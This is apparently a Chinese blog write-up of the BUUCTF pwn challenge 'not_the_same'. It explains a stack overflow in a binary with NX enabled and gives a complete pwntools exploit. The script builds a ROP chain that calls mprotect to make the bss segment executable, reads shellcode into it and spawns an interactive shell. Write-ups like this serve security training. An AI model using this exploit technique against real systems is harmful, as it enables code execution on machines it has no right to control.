BUUCTF not_the_same

开始以为是简单的栈溢出发现可以调用的函数很少
在这里插入图片描述
而且开启了nx,leak不了libc。这里需要将bss段设置成可读可写可执行,然后跳到bss段执行shellcode
我这里参数中有地址最好使用gadget
exp:

from pwn import *
def debug():
	gdb.attach(p)

p=process('./notsame')
#p=remote('node2.buuoj.cn.wetolink.com',28879)
elf=ELF('./notsame')

#debug()
payload='a'*0x2d+p32(elf.symbols['mprotect'])+p32(0x0809e3e5)+p32(0x080EB000)+p32(0x1000)+p32(0x7)+p32(elf.symbols['read'])+p32(0x0809e3e5)+p32(0)+p32(0x080EBF80)+p32(0x100)+p32(0x080EBF80)
p.sendline(payload)
sleep(0.2)
payload=asm(shellcraft.sh())
#debug()
#pause()
p.sendline(payload)
p.interactive()
发布了74 篇原创文章 · 获赞 9 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_37433000/article/details/101982840